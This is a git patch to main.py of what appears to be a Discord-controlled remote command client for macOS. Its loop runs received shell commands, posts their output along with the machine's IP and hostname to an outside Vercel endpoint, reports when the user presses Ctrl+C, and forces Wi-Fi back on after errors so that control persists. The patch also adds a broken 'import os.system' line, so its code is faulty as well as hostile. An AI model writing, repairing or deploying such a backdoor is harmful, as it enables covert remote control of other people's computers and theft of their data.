From b9e2c2c7efa33e23cd7d163b162e1da50625a90e Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Sun, 27 Aug 2023 23:11:54 +0800 Subject: updated buildmac --- main.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index 36cb276..b873ea0 100644 --- a/main.py +++ b/main.py @@ -1,4 +1,5 @@ try: + import os.system from requests import get, post from time import sleep from subprocess import Popen as system @@ -36,11 +37,11 @@ while True: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when handling discord api``") except KeyboardInterrupt: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue continue except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") sleep(3) continue # execute command @@ -81,7 +82,7 @@ while True: # except KeyboardInterrupt: # post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when replying to ping``") # except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") # continue if command.startswith("cd"): @@ -97,7 +98,7 @@ while True: except FileNotFoundError: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```No Such Directory```-{ip}@{hostname}") except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue old_command = command @@ -128,7 +129,7 @@ while True: continue continue except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue if cmdout.decode() != "" and cmderr.decode() == "": @@ -144,7 +145,7 @@ while True: continue continue except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue elif cmdout.decode() == "" and cmderr.decode() == "": @@ -157,7 +158,7 @@ while True: continue continue except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue old_command = command -- cgit v1.2.3